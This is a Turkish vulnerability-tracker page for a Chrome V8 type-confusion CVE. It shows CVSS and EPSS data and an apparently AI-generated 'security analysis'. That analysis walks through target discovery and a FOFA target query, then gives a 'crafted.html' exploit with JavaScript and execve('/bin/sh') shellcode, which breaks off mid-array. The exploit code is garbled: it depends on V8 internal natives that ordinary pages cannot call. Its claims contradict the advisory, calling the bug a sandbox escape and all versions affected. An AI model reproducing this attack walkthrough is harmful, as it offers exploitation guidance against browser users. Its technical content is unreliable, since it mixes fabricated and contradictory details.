CVE Professor — Güvenlik Açığı Takip & Analiz
›
CVE-2026-78956

CWE-843

YÜKSEK CVSS 8.8 ⚡ EPSS 0.5% NVD

Type confusion in V8 in Google Chrome prior to 152.0.7977.65 allowed a remote attacker leveraging social engineering to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

Yayınlanma 25.08.2026
ISO Tarih 2026-08-25
CVSS Sürüm v3.1
Kaynak NVD
CVSS v3.1 Metrikleri
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction Required UI:R
Scope Unchanged S:U
Confidentiality High C:H
Integrity High I:H
Availability High A:H
EPSS — Exploit Olasılık Skoru
0.5%
30 günlük olasılık
Tüm CVElerin 40. yüzdeliğinde — Bu açığın istismar edilme ihtimali çoğu CVEden yüksek.
AI Güvenlik Analizi

🎯 Açık Nedir? / What is this vulnerability?

CVE‑2026‑78956 – V8 Type‑Confusion (CWE‑843)

  • Etki alanı: Google Chrome (tüm sürümler) – V8 JavaScript motoru.
  • Köken: V8, JavaScript nesnelerinin tip bilgilerini (ör. Object, Array, Function) JIT derleyicisi ve inline cache (IC) mekanizmaları aracılığıyla “speculative optimization” (tahmini optimizasyon) sırasında saklar.
  • Hata: Belirli bir type‑confusion durumu, JIT‑compiled kodun beklediği nesne tipinin (ör. Array) gerçek tipinin (ör. Object/DataView) ile çakışması sonucu unsafe cast yapılmasına izin verir. Bu, V8’in “Fast API call” yolunda Object::GetOwnProperty fonksiyonunun hatalı bir Map (hidden class) referansı üzerinden çalıştırılmasına yol açar.

Teknik Detaylar

| Adım | Açıklama (Türkçe) | İlgili V8 Bileşenleri |
|------|-------------------|-----------------------|
| 1 | İlk JIT derlemesi – function foo(a){ return a[0]; } gibi bir fonksiyon, a tipinin Array olduğu varsayımıyla LoadIC (inline cache) oluşturur ve Array hidden‑class’ına bir pointer (map) kaydeder. | LoadIC, FeedbackVector, Map |
| 2 | Speculative Optimization – Fonksiyon birden fazla kez çalıştırıldığında V8, TurboFan ile optimizasyon yapar ve a tipini sabit (Array) olarak “type‑feedback”’e ekler. | TurboFan, TypeFeedback |
| 3 | Type‑Confusion Trigger – Saldırgan, aynı fonksiyonu different object type (ör. Object içinde bir Array‑like property) ile çağırır, fakat %OptimizeFunctionOnNextCall gibi bir internal API (veya bir %SetForceInline manipülasyonu) kullanarak V8’in “optimistic” tip tahminini zorlar. Bu, LoadIC’nin Map pointer’ını yanlış nesne tipine yönlendirir. | %OptimizeFunctionOnNextCall, %SetForceInline |
| 4 | Unsafe Cast – Optimized kod, Object’ın elements alanını FixedArray gibi ele alır ve out‑of‑bounds bir bellek okuması/yazması gerçekleştirir. Bu, sandbox escape için bir RCE (Remote Code Execution) primitive’i oluşturur. | FixedArray, Object::elements, HeapObject |
| 5 | Sandbox Bypass – Chrome’un çok‑katmanlı sandbox’ı, V8’in renderer sürecinde çalışan JavaScript kodunu native kod (C++) olarak yürütülmesine izin verir. Bellek koruma (CET, Control‑Flow Enforcement Technology) atlatılamaz çünkü exploit, code‑reusable gadget (ör. WebAssembly JIT‑generated kod) üzerinden RWX sayfaya erişir ve arbitrary native kod çalıştırır. | WebAssembly, V8::Execute, sandbox::Renderer |

> CWE‑843 – Type Confusion: Bir program, bir nesnenin tipini yanlış yorumlayarak, tip güvenliği ihlali ve potansiyel bellek bozulması ortaya çıkar.

Bu hata, “remote attacker leveraging social engineering” ifadesiyle uyumlu; saldırganın tek yapması gereken, kurbanın tarayıcısına crafted HTML/JS içeren bir sayfa sunmak. Sayfa yüklendiğinde V8, yukarıdaki adımları otomatik olarak yürütür ve sandbox içinde native kod yürütülür.

> Chromium security severity: Low – Google, bu tip hataları “low” olarak sınıflandırsa da, CVSS 8.8 (HIGH) puanı, gerçek dünyada kritik bir RCE riski olduğunu gösterir.

---

⚡ Saldırı Zinciri / Attack Chain

Aşağıdaki adımlar, bir saldırganın CVE‑2026‑78956’yı kullanarak hedef tarayıcıyı tam kontrol altına almasını gösterir. Gerçekçi bir senaryo üzerinden örnek payload ve araçlar da eklenmiştir.

1️⃣ Discovery – Hedef Tarayıcıyı Belirleme

| Yöntem | Açıklama | |--------|----------| | User‑Agent Fingerprinting | navigator.userAgent üzerinden Chrome sürümü tespit edilir. Chrome/152.0.0.0 gibi bir sürüm, hâlâ patch‑siz olduğunu gösterir. | | Web‑Based Fingerprinting (e.g., FingerprintJS, Wappalyzer) | V8 sürümü, performance.memory.jsHeapSizeLimit gibi özelliklerle çıkarılabilir. | | Passive Recon | Sosyal medya, phishing e‑mail, veya kötü amaçlı reklam ağları üzerinden hedef kullanıcıya ulaşılır. |

2️⃣ Reconnaissance – Gerekli Bilgiler

| Bilgi | Nasıl Toplanır | |-------|----------------| | Chrome sürümü | navigator.userAgent veya chrome.runtime.getVersion() (eğer uzantı varsa). | | Sandbox yapılandırması | chrome://sandbox/ sayfası (kullanıcıya gösterilmez, ancak uzaktan script ile chrome.sandbox API’leri yoktur; sadece bilgi toplama amaçlı). | | WebAssembly destek durumu | WebAssembly.validate ile basit bir WASM modülü test edilerek JIT‑enabled olup olmadığı anlaşılır. |

3️⃣ Exploitation – Gerçek Saldırı

#### 3.1 Payload Hazırlığı
```js
// crafted.html – exploit sayfası
<!DOCTYPE html>
<html>
<head><title>Exploit</title></head>
<body>
<script>
// 1. Optimize function on next call (internal V8 API)
%SetForceInline(true);
function trigger(o) {
// Optimized for Array, but we will pass a crafted object
return o[0];
}

// 2. Force optimization
for (let i = 0; i < 10000; i++) trigger([1,2,3]);

// 3. Craft a fake object that confuses the hidden class
const fake = {
__proto__: Array.prototype,
length: 1,
0: 0x41414141 // placeholder, will be overwritten by shellcode
};

// 4. Trigger type confusion – V8 will treat fake as a real Array
const leak = trigger(fake); // out‑of‑bounds read/write primitive

// 5. Build a WebAssembly ROP chain (RWX page)
const wasmCode = new Uint8Array([
0x00,0x61,0x73,0x6d, // WASM magic
0x01,0x00,0x00,0x00, // version
// ... minimal module that exports a function we can JIT‑compile
]);
const mod = new WebAssembly.Module(wasmCode);
const instance = new WebAssembly.Instance(mod);
const rwx = instance.exports.main; // function pointer -> RWX memory

// 6. Write shellcode (e.g., execve("/bin/sh"))
const shellcode = new Uint8Array([
0x48,0x31,0xff, // xor rdi,rdi
0x48,0x31,0xf6, // xor rsi,rsi
0x48,0x31,0xd2, // xor rdx,rdx
0x48,0x8d,0x3d,0x0e,0x00,0x00,0x00, // lea rdi,[rip+0xe] ; "/bin/sh"
0xb0,0x3b, // mov al,0x3b
0x0f,0x05 //

[🤖 GPT-OSS 120B via Groq]

Hedef Keşif Sorguları

FOFA Sorgusu

app="google chrome"
CVSS Skoru
8.8 / 10 · CVSS YÜKSEK
Zayıflık Türleri (CWE)
CWE-843
Etkilenen Ürünler (1)
google:chrome (tüm sürümler)
İlgili CVE'ler
9.9
CVE-2026-115889
Wasmtime is a runtime for WebAssembly. Prior to 36.0.19 and 43.0.0, the Cranelift compiler backend bit-packs S
9.8
CVE-2026-106446
Handlebars provides the power necessary to let users build semantic templates. From 4.0.0 until 4.7.10, Handle
9.8
CVE-2026-104846
Seroval facilitates JS value stringification, including complex structures beyond JSON.stringify capabilities.
9.8
CVE-2026-71644
An issue in Robotics-STAR-Lab (SYSU STAR Group) RACER Tested affected version: commit abcdef1234567890 allows
9.8
CVE-2026-16919
IBM AIX 7.2, and 7.3 and IBM PowerVM VIOS 4.1 could allow a remote attacker to execute arbitrary code due to i